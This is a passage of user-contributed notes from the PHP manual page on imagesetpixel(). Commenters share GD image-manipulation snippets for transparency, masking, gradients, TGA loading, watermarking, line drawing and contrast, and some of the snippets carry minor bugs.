  • imagecolorallocate() - Allocate a color for an image

User Contributed Notes

heitor dot siller at gmail dot com 22-May-2010 11:44
To create an image and set its content fully transparent:

<?php

$width = 100;
$height = 100;

$img = imagecreatetruecolor($width, $height);

imageSaveAlpha($img, true);

imageAlphaBlending($img, false);

$transparent = imageColorAllocateAlpha($img, 0, 0, 0, 127);

imagefilledrectangle($img, 0, 0, $width-1, $height-1, $transparent);

imageAlphaBlending($img, true);

/*

add content to the transparent image, then you display it:

*/

header("Content-type: image/png");

imagepng($img);

imagedestroy($img);

?>
mail AT kkapsner DOT de 07-May-2010 04:04
It IS posible to "delete" pixels from an image in PHP natively - the key-function is imageAlphaBlending:
<?php

$image = imageCreateTrueColor(101, 101);
imageSaveAlpha($image, true);

# draw a red cycle with alpha blending
$red = imageColorAllocateAlpha($image, 255, 0, 0, 30);
imageFilledEllipse($image, 50, 50, 100, 100, $red);

# disable alpha blending for deletion
imageAlphaBlending($image, false);

# paint with a complete opaque color
$trans = imageColorAllocateAlpha($image, 0, 0, 0, 127);

# you can clear every shape you like
imageFilledRectangle($image, 30, 30, 70, 70, $trans);

# enable alpha blending again
imageAlphaBlending($image, true);

# draw a green rectangle with alpha blending
$green = imageColorAllocateAlpha($image, 0, 255, 0, 40);
imageFilledRectangle($image, 40, 20, 90, 80, $green);

header("Content-Type: image/png");
imagePNG($image);

?>
cyberhorse at users dot sourceforge dot net 18-Feb-2010 07:54
Given an image $src and mask $mask, this applies the mask over the image, using different levels of transparency properly.

<?php
function image_mask(&$src, &$mask) {
    imagesavealpha($src, true);
    imagealphablending($src, false);
    // scan image pixels
    for ($x = 0; $x < imagesx($src); $x++) {
        for ($y = 0; $y < imagesy($src); $y++) {
            $mask_pix = imagecolorat($mask,$x,$y);
            $mask_pix_color = imagecolorsforindex($mask, $mask_pix);
            if ($mask_pix_color['alpha'] < 127) {
                $src_pix = imagecolorat($src,$x,$y);
                $src_pix_array = imagecolorsforindex($src, $src_pix);
                imagesetpixel($src, $x, $y, imagecolorallocatealpha($src, $src_pix_array['red'], $src_pix_array['green'], $src_pix_array['blue'], 127 - $mask_pix_color['alpha']));
            }
        }
    }
}
?>

If your mask is reversed, change 127 - $mask_pix_color['alpha'] with just $mask_pix_color['alpha']
caffinated 28-Aug-2009 05:21
Want to have some fun with this function?  How about edge detection! (ported from http://bitecode.co.uk/2008/07/edge-detection-in-python/)

<?php
function edge($input, $output)
{
  $in_im = imageCreateFromJpeg($input);
  $gx = array(array(-1, 0, 1), array(-2, 0, 2), array(-1, 0, 1));
  $gy = array(array(-1, -2, -1), array(0, 0, 0), array(1, 2, 1));
  $x = imagesx($in_im);
  $y = imagesy($in_im);
  $out_im = imagecreatetruecolor($x, $y);
  $colors = array(255 => imagecolorallocate($out_im, 255, 255, 255));
  for ($row = 1; $row < $x; $row++)
  {
    for ($col = 1; $col < $y; $col++)
    {
      $eyedropper =imagecolorat($in_im, $x, $y);
      $color =imagecolorsforindex($in_im, $eyedropper);
      $pxval = ($color['red'] + $color['green'] + $color['blue']) / 3;
      $pixel_gx = $pixel_gy = 0;
      for ($i = -1; $i < 2; $i++)
      {
        for ($j = -1; $j < 2; $j++)
        {
          $eyedropper =imagecolorat($in_im, $row+$i, $col+$j);
          $color =imagecolorsforindex($in_im, $eyedropper);
          $val = ($color['red'] + $color['green'] + $color['blue']) / 3;
          $pixel_gx += $gx[$i+1][$j+1] * $val;
          $pixel_gy += $gy[$i+1][$j+1] * $val;
        }
      }
      $pixel = sqrt($pixel_gx * $pixel_gx + $pixel_gy * $pixel_gy);
      $pixel = abs(255 - (int)$pixel);
      if (!isset($colors[$pixel])) $colors[$pixel] = imagecolorallocate($out_im, $pixel, $pixel, $pixel);
      imageSetPixel($out_im, $row, $col, $colors[$pixel]);
    }
  }
  imagejpeg($out_im,$output, 75);
}

edge('input.jpg', 'output.jpg');

?>
aelitadelarobia at gmail dot com 15-Aug-2009 12:56
another gradient example that can do horizontal or vertical gradients

<?php
$width=$_GET['width'];
$height=$_GET['height'];
$starts=explode(",",$_GET['startcolor']);
$ends=explode(",",$_GET['endcolor']);
    $rstart=$starts[0];
    $gstart=$starts[1];
    $bstart=$starts[2];
    $rend=$ends[0];
    $gend=$ends[1];
    $bend=$ends[2];
    $r=$rstart;
    $g=$gstart;
    $b=$bstart;
$bigger=imagecreatetruecolor($width,$height);
for ($y=0;$y<=265;$y++) {
    if ($mode == 'horiz') { //if doing a horizontal gradient, reset to the starting color every row
        $r=$rstart;
        $g=$gstart;
        $b=$bstart;
    }
    for ($x=0;$x<=464;$x++) {
        imagesetpixel($bigger,$x,$y,imagecolorallocate($bigger,$r,$g,$b));
        if ($mode=="horiz") {
            if ($r != $rend) {
                $r=$r+(($rend-$rstart)/$width);
            }
            if ($g != $gend) {
                $g=$g+(($gend-$gstart)/$width);
            }
            if ($b != $bend) {
                $b=$b+(($bend-$bstart)/$width);
            }
        }
    }
    if ($mode == "vert") {
        if ($r != $rend) {
            $r=$r+(($rend-$rstart)/$height);
        }
        if ($g != $gend) {
            $g=$g+(($gend-$gstart)/$height);
        }
        if ($b != $bend) {
            $b=$b+(($bend-$bstart)/$height);
        }
    }
}
header("Content-type: image/jpeg");
header('Content-Disposition: inline; filename="gradient.jpg"');

imagejpeg($bigger,NULL,99);
imagedestroy($bigger);
?>
CPHaxer 25-Feb-2009 01:35
Sorry for the long intro of my function, but i just want to tell how it works and - how silly sometimes the ideas are to make such functions. Have fun ;D

<?php

  //@FunctionName:    drawPlot
  //@Parameters:      drawPlot(img &$image, int $red, int $green, int $blue, int $x, int $y)
  //
  //                  img $image
  //                    The Image it will draw on. The Image will be modified; there is no return value.
  //
  //                  int $red, int $green, int $blue
  //                    The Colorvalues to draw with
  //
  //                  int $x, int $y
  //                    The Location to draw the Plot.
  //                    And this is the Mainpart, because $x and $y
  //                    NEED NOT be rounded!
  //                    If you want to make a Plot at [253.643891, 482];
  //                    It will draw the Plot there. Exact at the Coordinates.
  //                    You could use this to make smooth lines.
  //                    They have rational Coordinates, too.
  //
  //@Author:          Alexander Rath (*Feb 9th, 1996 ; 13 Years old)
  //
  //@Idea:            We have in Math Geometrie now. And as the only Computerfreak
  //                  In the class, i asked me: "How would it be, to mirror something
  //                  At a NOT FLAT LINE."
  //                  So I started thinking about it. First i tought about degresses - Nah!
  //                  Then i saw:
  //                  A point to mirror, has the SHORTEST way to the Line;
  //                  so i just needed to make the result smooth.
  //                  Unlike the other ways to draw pixels.
  //                                ~I started developing this:
  // PS: Sorry for bad english ( I am german )

  //Lets create a TrueColor Image Resource
  $image = imagecreatetruecolor(640, 480);

  //Lets make it Alpha
  imagealphablending($image, true);
  imagesavealpha($image, true);

  //...with White Background to draw on.
  imagefilledrectangle($image, 0, 0, 640, 480, imagecolorallocate($image, 255, 255, 255));

  //This is my little "Example"-Script
  for($x = 0; $x <= 640; $x = $x + 0.01) {
    $y = $x / (tan($x) + 1);
    drawPlot($image, 0, 0, 0, $x, $y);
  }

  header("Content-type: image/png");
  imagepng($image);

  function drawPlot(&$func_image, $func_red, $func_green, $func_blue, $func_x, $func_y) {
    $func_Right = $func_x - floor($func_x);
      $func_Left = 1 - $func_Right;

      $func_Bottom = $func_y - floor($func_y);
      $func_Top = 1 - $func_Bottom;

    $func_RightAlpha = $func_Right * 127;
    $func_LeftAlpha = $func_Left * 127;

    $func_LeftTop = $func_LeftAlpha * $func_Top;
    $func_RightTop = $func_RightAlpha * $func_Top;
    $func_LeftBottom = $func_LeftAlpha * $func_Bottom;
    $func_RightBottom = $func_RightAlpha * $func_Bottom;

    $func_x = floor($func_x);
    $func_y = floor($func_y);

    imagesetpixel($func_image, $func_x, $func_y, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_LeftTop));
    imagesetpixel($func_image, $func_x + 1, $func_y, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_RightTop));
    imagesetpixel($func_image, $func_x + 1, $func_y + 1, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_RightBottom));
    imagesetpixel($func_image, $func_x, $func_y + 1, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_LeftBottom));
  }

?>

Have fun ;D
Scott Evernden (doctor3d at gmail) 19-Dec-2008 05:00
Re: imagecreatefromtga() .. I just did some testing with what I think are valid Targa-24 and Targa-32 bit images, and modified the inner logic as follows:

<?php
        if ($bytes_per_pixel == 2)            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $word = fileint($data, $pointer, 2);
            $r = ($word & 0x7C00) >> 7;
            $g = ($word & 0x03E0) >> 2;
            $b = ($word & 0x001F) << 3;
            $a = ($word & 0x8000) ? 127 : 0;
            $color = imagecolorallocatealpha($image, $r, $g, $b, $a);
            imagesetpixel($image, $x, $y, $color);         }
        else if ($bytes_per_pixel == 3)        // TARGA 24 - BBBBBBBB GGGGGGGG RRRRRRRR
        {
            $r = fileint($data, $pointer, 1);
            $b = fileint($data, $pointer+1, 1);
            $g = fileint($data, $pointer+2, 1);
            $color = imagecolorallocate($image, $r, $g, $b);
            imagesetpixel($image, $x, $y, $color);
        }
        else if ($bytes_per_pixel == 4)        // TARGA 32 - BBBBBBBB GGGGGGGG RRRRRRRR AAAAAAAA
        {
            $b = fileint($data, $pointer, 1);
            $g = fileint($data, $pointer+1, 1);
            $r = fileint($data, $pointer+2, 1);
            $a = (255 - fileint($data, $pointer+3, 1)) >> 1;
            $color = imagecolorallocatealpha($image, $r, $g, $b, $a);
            imagesetpixel($image, $x, $y, $color);
        }
?>

The red and blue tint issue seems to be fixed by this...
mm 14-Dec-2008 06:30
@ Scott Evernden

Scott, your function works great for uncompressed TGA image files, except the results for TGA 32 with alpha don't come out right, at least in my tests. If the alpha is all white, the resulting image comes out with a red tint. If black, the resulting image has a blue tint. I don't know how to make it just ignore the alpha, but that would be handy...
Anonymous 15-Jul-2008 09:41
This snippet creates a gradient images depending on the value of RGB components. Gradients allow your page to have a shadow effect.

<?php
try{
   if(!$image=imagecreatetruecolor(50,10)){
     throw new Exception('Error creating image');
   }

   for($y=0;$y<10;++$y)
      {
      $color=imagecolorallocate($image, 75+($y*5),75+($y*11),75+($y*9));
      for($x=0;$x<50;++$x)
         {
         imagesetpixel($image,$x,$y,$color);
         }
      }

   //header("Content-type: image/jpeg");
   imagejpeg($image,'footerShadow.jpg');
   // free memory
   imagedestroy($image);

}
catch(Exception $e){
   echo $e->getMessage();
   exit();
}
?>
Scott Evernden (doctor3d at gmail) 30-Apr-2008 03:44
My last note doesn't do alpha properly, so make the following change to the appropriate lines:

$r = ($word & 0x7C00) >> 7;
$g = ($word & 0x03E0) >> 2;
$b = ($word & 0x001F) << 3;
$a = ($word & 0x8000) ? 127 : 0;
$color = imagecolorallocatealpha($image, $r, $g, $b, $a);
imagesetpixel($image, $x, $y, $color);
Scott Evernden (doctor3d at gmail) 25-Apr-2008 06:25
here's my version of imagecreatefromtga() that's been tested to work for targa 16 .. adapted from offering by zehao dot chang at gmail dot com

function imagecreatefromtga($filename)
{
    $data = file_get_contents($filename);

    // Extract header information
    $string_length = fileint($data, 1, 1);
    $data_type = fileint($data, 2, 1);
    $width = fileint($data, 12, 2);
    $height = fileint($data, 14, 2);
    $bits_per_pixel = fileint($data, 16, 1);

    $bytes_per_pixel = (int) $bits_per_pixel / 8;

    // Currently only supporting RGB Data type
    switch ($data_type)        // Header information taken from http://astronomy.swin.edu.au/~pbourke/dataformats/tga/
    {
        case 2:     // Uncompressed RGB image
            break;
        case 0:     // No attached image data
        case 1:     // Uncompressed color-mapped image
        case 3:     // Uncompressed black and white image
        case 9:     // Runlength encoded color-mapped image
        case 10:    // Runlength encoded RGB image
        case 11:    // Compressed black and white image
        case 32:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding
        case 33:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding.  4-pass quadtree-type process
        default:
            return NULL;    // No support for any of these types
    }

    // Compute things we need from the header information
    $pointer = 18 + $string_length;
    $x = 0;  $y = $height - 1;

    $image = imagecreatetruecolor($width, $height);

    while ($pointer < strlen($data))
    {
        if ($bytes_per_pixel == 2)            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $word = fileint($data, $pointer, 2);
            $r = ($word & 0x7C00) >> 10;
            $g = ($word & 0x03E0) >> 5;
            $b = ($word & 0x001F);
            imagesetpixel($image, $x, $y, $r << 19 | $g << 11 | $b << 3);
        }
        else if ($bytes_per_pixel == 3)        // TARGA 24 - RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel($image, $x, $y, fileint($data, $pointer, 3));
        }
        else if ($bytes_per_pixel == 4)        // TARGA 32 - AAAAAAAA RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel($image, $x, $y, fileint($data, $pointer + 1, 3));
        }

        if (++$x == $width)
        {
            $y--;
            $x = 0;
        }
       $pointer += $bytes_per_pixel;
    }

    return $image;
}

function fileint($data, $pos, $len)
{
    return base_convert(bin2hex(strrev(substr($data, $pos, $len))), 16, 10);
}
Gusts Kaksis 13-Apr-2007 07:29
This code generate a simple colortable - not a very acurate one (it would be good to define fade of color - more fading)

<?php
set_time_limit(200);
/*
Custommize this to see some nice changes:
*/
$width = 360;   // degrees
$height = 18;   // byte
$offset = -60;    // offset of color hue

/*
Main programm:
Here comes transformations - width to degrees and height to intesity
*/
$w2deg = $width/360;
$h2byte = $height/255;
$byte2deg = 255/360;
$im = imagecreatetruecolor($width,$height);
for ($x = 0; $x < $width; $x ++){
  /*
  Transform X to degrees
  */
  $x_pos = $x/$w2deg;
  /*
  Intensity position (where max intensity is 255) on 360 degree scale.
  0 = red
  1 = green
  2 = blue
  */
  $rgb_pos[0] = sin(deg2rad($x_pos) - deg2rad($offset + 0));
  $rgb_pos[1] = sin(deg2rad($x_pos) - deg2rad($offset + 120));
  $rgb_pos[2] = sin(deg2rad($x_pos) - deg2rad($offset + 240));
  /*
  Calculate intesity at current point 0 - 255
  */
  $rgb_col[0] = 127 + 127 * $rgb_pos[0];
  $rgb_col[1] = 127 + 127 * $rgb_pos[1];
  $rgb_col[2] = 127 + 127 * $rgb_pos[2];

  /*
  White -> color -> Black loop
  */
  for ($y = 0; $y < $height; $y ++){
    /*
    Transform Y to intensity (-255 to 255)
    */
    $y_pos = -255 + ($y/$h2byte) * 2;
    $rgb_out[0] = $rgb_col[0] - $y_pos;
    $rgb_out[1] = $rgb_col[1] - $y_pos;
    $rgb_out[2] = $rgb_col[2] - $y_pos;

    /*
    If we go over 255 or under 0 we normalize it
    */
    foreach($rgb_out as $key => $col){
      if ($col > 255){
        $rgb_out[$key] = 255;
      } else if ($col < 0){
        $rgb_out[$key] = 0;
      }
    }
    /*
    Put a pixel
    */
    $col = imagecolorallocate($im,$rgb_out[0],$rgb_out[1],$rgb_out[2]);
    imagesetpixel($im,$x,$y,$col);
  }
}
/*
Test output
*/
imagejpeg($im,'colortable.jpg');
echo '<img src="colortable.jpg">';
?>
zehao dot chang at gmail dot com 06-Apr-2006 01:00
Here's my stab at the imagecreatefromtga function. I used code from send at mail dot 2aj dot net and others below as a basis, and added support for targa 16, targa 24 and targa 32. However, I only support uncompressed RBG data type as that's the only one I need. (I removed the return_array feature since you can simply use imagesx() and imagesy() to get the image size).

Please note that I have not tested this with a targa 16 since I don't have one handy at the moment.

<?php

function imagecreatefromtga( $filename )
{
    $handle = fopen( $filename, 'rb' );
    $data = fread( $handle, filesize( $filename ) );
    fclose( $handle );

    // Extract header information
    $string_length = base_convert( bin2hex( substr($data,1,1) ), 16, 10 );
    $data_type = base_convert( bin2hex( substr($data,2,1) ), 16, 10 );
    $width = base_convert( bin2hex( strrev( substr($data,12,2) ) ), 16, 10 );
    $height = base_convert( bin2hex( strrev( substr($data,14,2) ) ), 16, 10 );
    $bits_per_pixel = base_convert( bin2hex( substr($data,16,1) ), 16, 10 );

    // Currenly I'm only supporting RGB Data type
    switch( $data_type )        // Header information taken from http://astronomy.swin.edu.au/~pbourke/dataformats/tga/
    {
        case 2:        // Uncompressed RGB image
            break;
        case 0:        // No attached image data
        case 1:        // Uncompressed color-mapped image
        case 3:        // Uncompressed black and white image
        case 9:        // Runlength encoded color-mapped image
        case 10:    // Runlength encoded RGB image
        case 11:    // Compressed black and white image
        case 32:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding
        case 33:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding.  4-pass quadtree-type process
        default:
            return NULL;    // No support for any of these types
    }

    // Compute things we need from the header information
    $pointer = 18 + $string_length;
    $bytes_per_pixel = (int) $bits_per_pixel/8;
    $x = 0;  $y = $height;

    $image = imagecreatetruecolor($width, $height);

    while ( $pointer < strlen($data) )
    {
        if( $bytes_per_pixel == 2 )            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $low_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
            $high_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
            $r = base_convert( ($high_byte & 0x7C)>>2, 16, 10);
            $g = base_convert( (($high_byte & 0x03)<<3) | (($low_byte & 0xE0)>>5), 16, 10);
            $b = base_convert( $low_byte & 0x1F, 16, 10);
            imagesetpixel( $image, $x, $y, $r<<16 | $g<<8 | $b);
        }
        else if( $bytes_per_pixel == 3 )    // TARGA 24 - RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel))), 16, 10));
        }
        else if( $bytes_per_pixel == 4 )    // TARGA 32 - AAAAAAAA RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel-1))), 16, 10));
        }

        if(++$x == $width)
        {
            $y--;
            $x=0;
        }
       $pointer += $bytes_per_pixel;
    }

    return $image;
}

?>
T. Dekker 30-Nov-2005 02:53
In reply to weitheism at gmail.com:

You should probably have used ImageAlphaBlending($image, false); in your early attempts. This way any paint/fill operation replaces the alpha value of the destination.
Brian Vaughn [php at boynamedbri dot com] 28-Aug-2005 12:00
I looked, but was unable to find any example code to watermark an image with a watermark that contained alpha transparency. So the following class does just that. As a parameter, it takes 2 image objects: the main image, and the watermark image (which can be a gif, png, whatever) - and optionally, an alpha setting (0-100% alpha for the watermark image). It then creates and returns a new image with the alpha-transparent watermark imposed, center-aligned, over the larger image.

<?php
class watermark{

    function create_watermark( $dst_img, $watermark_img, $alpha = 100 ) {
        $alpha    /= 100;    # convert 0-100% user-friendly alpha to decimal

        # calculate our images dimensions
        $dst_img_w    = imagesx( $dst_img );
        $dst_img_h    = imagesy( $dst_img );
        $watermark_img_w    = imagesx( $watermark_img );
        $watermark_img_h    = imagesy( $watermark_img );

        # create new image to hold merged changes
        $return_img    = imagecreatetruecolor( $dst_img_w, $dst_img_h );
#        $return_img    = imagecreate( $dst_img_w, $dst_img_h );

        # determine center position coordinates
        $dst_img_min_x    = floor( ( $dst_img_w / 2 ) - ( $watermark_img_w / 2 ) );
        $dst_img_max_x    = ceil( ( $dst_img_w / 2 ) + ( $watermark_img_w / 2 ) );
        $dst_img_min_y    = floor( ( $dst_img_h / 2 ) - ( $watermark_img_h / 2 ) );
        $dst_img_max_y    = ceil( ( $dst_img_h / 2 ) + ( $watermark_img_h / 2 ) );

        # walk through main image
        for( $y = 0; $y < $dst_img_h; $y++ ) {
            for( $x = 0; $x < $dst_img_w; $x++ ) {
                $return_color    = NULL;

                # determine the correct pixel location within our watermark
                $watermark_x    = $x - $dst_img_min_x;
                $watermark_y    = $y - $dst_img_min_y;

                # fetch color information for both of our images
                $dst_rgb = imagecolorsforindex( $dst_img, imagecolorat( $dst_img, $x, $y ) );

                # if our watermark has a non-transparent value at this pixel intersection
                # and we're still within the bounds of the watermark image
                if (    $watermark_x >= 0 && $watermark_x < $watermark_img_w &&
                            $watermark_y >= 0 && $watermark_y < $watermark_img_h ) {
                    $watermark_rbg = imagecolorsforindex( $watermark_img, imagecolorat( $watermark_img, $watermark_x, $watermark_y ) );

                    # using image alpha, and user specified alpha, calculate average
                    $watermark_alpha    = round( ( ( 127 - $watermark_rbg['alpha'] ) / 127 ), 2 );
                    $watermark_alpha    = $watermark_alpha * $alpha;

                    # calculate the color 'average' between the two - taking into account the specified alpha level
                    $avg_red        = $this->get_ave_color( $dst_rgb['red'],        $watermark_rbg['red'],        $watermark_alpha );
                    $avg_green    = $this->get_ave_color( $dst_rgb['green'],    $watermark_rbg['green'],    $watermark_alpha );
                    $avg_blue        = $this->get_ave_color( $dst_rgb['blue'],    $watermark_rbg['blue'],        $watermark_alpha );

                    # calculate a color index value using the average RGB values we've determined
                    $return_color    = $this->imagegetcolor( $return_img, $avg_red, $avg_green, $avg_blue );

                # if we're not dealing with an average color here, then let's just copy over the main color
                } else {
                    $return_color    = imagecolorat( $dst_img, $x, $y );

                } # END if watermark

                # draw the appropriate color onto the return image
                imagesetpixel( $return_img, $x, $y, $return_color );

            } # END for each X pixel
        } # END for each Y pixel

        # return the resulting, watermarked image for display
        return $return_img;

    } # END create_watermark()

    # average two colors given an alpha
    function get_ave_color( $color_a, $color_b, $alpha ) {
        return round( ( ( $color_a * ( 1 - $alpha ) ) + ( $color_b    * $alpha ) ) );
    } # END get_ave_color()

    # return closest pallette-color match for RGB values
    function imagegetcolor($im, $r, $g, $b) {
        $c=imagecolorexact($im, $r, $g, $b);
        if ($c!=-1) return $c;
        $c=imagecolorallocate($im, $r, $g, $b);
        if ($c!=-1) return $c;
        return imagecolorclosest($im, $r, $g, $b);
    } # EBD imagegetcolor()

} # END watermark API
?>
weitheism at gmail.com 08-Aug-2005 12:22
I was looking for a way to actually DELETE pixels or squares or parts of an image from an image resource, and at first I thought imagesetpixel would do the trick. Unfortunately, it merely paints over that one pixel, and as far as I knew, php didn't have any native way of deleting sections out of your image - so this little method should take care of deleting rectangular parts of your pictures!

function deleteRectangle(&$oldImage,$leftX,$leftY,$rightX,$rightY)
    {
        // Since php has no native way of delete parts of images
        // We have to divide the image into four different parts and then copy them manually to a new
        // image

        $xSize = imagesx($oldImage);
        $ySize = imagesy($oldImage);

        // Divides the image into four sections to copy
        $imagesection = array();
        $imagesection[] = array(0,0,$leftX,$ySize);
        $imagesection[] = array($leftX,0,$rightX+1,$leftY);
        $imagesection[] = array($leftX,$rightY+1,$rightX+1,$ySize);
        $imagesection[] = array($rightX+1,0,$xSize,$ySize);

        // Create the new, copied image
        $newImage = imagecreatetruecolor($xSize,$ySize);
        // Vital for transparency
        imagesavealpha($newImage,true);

        // Fills the background a transparent color
        $transparentBackground = imagecolorallocatealpha($newImage,255,255,255,127);
        imagefill($newImage,0,0,$transparentBackground);

        // Copies each of the four imagesections into their respective old positions
        for($i = 0;$i<count($imagesection);$i++)
imagecopyresampled($newImage,$oldImage, $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1]);

        // Alternately you can cycle through each pixel in an image and see if that pixel is an the area
        // but that could be more intensive
        imagedestroy($oldImage);

        // Sets the old image equal to the new, cleared image
        $oldImage = $newImage;
    }

It was made with a transparent background in mind, but you could easily change that by changeing imagecreatetruecolor to imagecreate and deleting the code that deals with transparency. Hope it helps!
d [AT] sprid [DOT] de 14-Jul-2005 02:28
This code does generate a RGB-cube (with or without borders). Because its only rendering the visible pixels its clearly fast (approx 1 up to 2 seconds). With changing the $order-variable you can see the cube from different perspectives. Entering double or tribble values (like rrg or ggg) will give you other specs of single channels. Send any sugestions to my email.

<?php
$borders = true;
$order   = 'rgb';

set_time_limit(0);
$img = imageCreateTrueColor(510, 510);

$bg = imageColorAllocate($img, 255, 255, 255);
$black = imageColorAllocate($img, 255, 255, 255);

for ($r=0; $r<256; $r++) {
  for ($g=0; $g<256; $g++) {
    for ($b=0; $b<256; $b++) {
      $rN = ${$order{0}};
      $gN = ${$order{1}};
      $bN = ${$order{2}};

      $col = imageColorAllocate($img, $rN, $gN, $bN);
      imagesetpixel($img, $b+($r*0.5)+(255/4), $g+($r*0.5)+(255/4), $col);
      if ($r < 255 && $g > 0) break;
    }
  }

  if ($borders) {
    imagesetpixel($img, ($r*0.5+(255/4)), ($r*0.5)+(255/4),     $black);
    imagesetpixel($img, ($r*0.5)+255+(255/4), ($r*0.5)+(255/4), $black);
    imagesetpixel($img, ($r*0.5)+(255/4), ($r*0.5)+255+(255/4), $black);
  }
}

if ($borders) {
  imageline($img, 255/4, 255/4, 255+(255/4), 255/4, $black);
  imageline($img, 255/4, 255/4, 255/4, 255+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
}

header("Content-Type: image/png");
imagepng($img);
imagedestroy($img);
?>
bpgordon at gmail dot com 23-May-2005 03:18
This code converts a block of text to an image so that each character in the block defines one pixel in the image and each line in the block (delimited by \n's) builds one whole row of pixels in the image.
Usage: Place a 0 to create a white pixel. Place a 1 to create a black pixel.
Example: Entering the following digits (including the line breaks) will create a 3x3 square with a 1-pixel white border.
00000
01110
01110
01110
00000

<?php
if (isset($_POST["sendtxt"])) {
header("Content-type: image/png");
$splitted = explode("\n", $_POST["sendtxt"]);
foreach ($splitted as $tcurkey => $curval) $tsplitted[$tcurkey] = rtrim($curval);
$splitted = $tsplitted; //referencing isn't working for some reason...
$image = imagecreate(strlen($splitted[1]), count($splitted));
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF); // don't delete this line
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
foreach($splitted as $curkey => $opelement) {
$subsplitten = preg_split("//", $opelement);
foreach($subsplitten as $subcurkey => $subopelement) {
if ($subopelement == "1" || $subopelement == ".") imagesetpixel($image, $subcurkey-1, $curkey, $black);
}
}
imagepng($image);
imagedestroy($image);
} else {
echo <<<end
<table width="1" border="0"><td>
<form method="post" action="#">
<textarea cols="30" rows="7" name="sendtxt"></textarea><br>
<input type="submit" value="render">
</form></td></table>
end; }
?>
odin<spam inside(C)>dtdm.org 05-Oct-2004 05:36
Just a simple implementation of the Bresenham algorythm (educational purpose....)

You can find more about this and many other tutorials for gfx there: http://brand107.home.comcast.net/pc-gpe/

<?php

/****************************************************
     Bresenham Line Algorythm PHP/GD implementation
****************************************************/
function line($im,$x1,$y1,$x2,$y2,$color){

    $deltax=abs($x2-$x1);
    $deltay=abs($y2-$y1);

    if ($deltax>$deltay) {
     $numpixels=$deltax+1;
     $d=(2*$deltay)-$deltax;
     $dinc1=$deltay << 1; $dinc2=($deltay-$deltax) << 1;
     $xinc1=1; $xinc2=1;
     $yinc1=0; $yinc2=1;
    } else {
     $numpixels=$deltay+1;
     $d=(2*$deltax)-$deltay;
     $dinc1=$deltax << 1; $dinc2=($deltax-$deltay)<<1;
     $xinc1=0; $xinc2=1;
     $yinc1=1; $yinc2=1;
    }

    if ($x1>$x2) {
     $xinc1=-$xinc1;
     $xinc2=-$xinc2;
    }

    if ($y1>$y2) {
     $yinc1=-$yinc1;
     $yinc2=-$yinc2;
    }
    $x=$x1;
    $y=$y1;

    for ($i=0;$i<$numpixels;$i++) {
     imagesetpixel($im,$x,$y,$color);
     if ($d<0) {
      $d+=$dinc1;
      $x+=$xinc1;
      $y+=$yinc1;
     } else {
      $d+=$dinc2;
      $x+=$xinc2;
      $y+=$yinc2;
     }
    }
return ;
}

?>
richard at mf2fm dot co dot uk 24-Aug-2004 02:06
Here is a function that takes an image ($im) and returns it with the contrast maximised...

<?php
function contrast($im) {
    $brightness=0;
    $maxb=0;
    $minb=255;
    $imagesize=getimagesize($im);
    $w=$imagesize[0];
    $h=$imagesize[1];
    for ($x=0; $x<$w; $x++) {
        for ($y=0; $y<$h; $y++) {
            $rgb=imagecolorat($im, $x, $y);
            $rgb=imagecolorsforindex($im, $rgb);
            $grey=0.2125*$rgb['red']+
                0.7154*$rgb['green']+
                0.0721*$rgb['blue'];
            $brightness+=$grey;
            if ($grey>$maxb) $maxb=$grey;
            if ($grey<$minb) $minb=$grey;
        }
    }
    $brightness=$brightness/($w*$h);
    $minb=$brightness/($brightness-$minb);
    $maxb=(255-$brightness)/($maxb-$brightness);
    $contrast=min($minb, $maxb);
    for ($x=0; $x<$w; $x++) {
        for ($y=0; $y<$h; $y++) {
            $rgb=imagecolorat($im, $x, $y);
            $rgb=imagecolorsforindex($im, $rgb);
            imagesetpixel($im, $x, $y,
                65536*floor(min($rgb['red']*$contrast, 255))+
                256*floor(min($rgb['green']*$contrast, 255))+
                floor(min($rgb['blue']*$contrast, 255)));
        }
    }
    return ($im);
}
?>

An example of usage might be:
<?php
$imagefile="/path/filename";
$image=imagecreatefromjpeg($imagefile);
$image=contrast($image);
imagejpeg($image, $imagefile);
?>
chris at drunkenpirates dot co dot uk 13-Sep-2003 05:50
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig

By chris@drunkenpirates.co.uk

*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
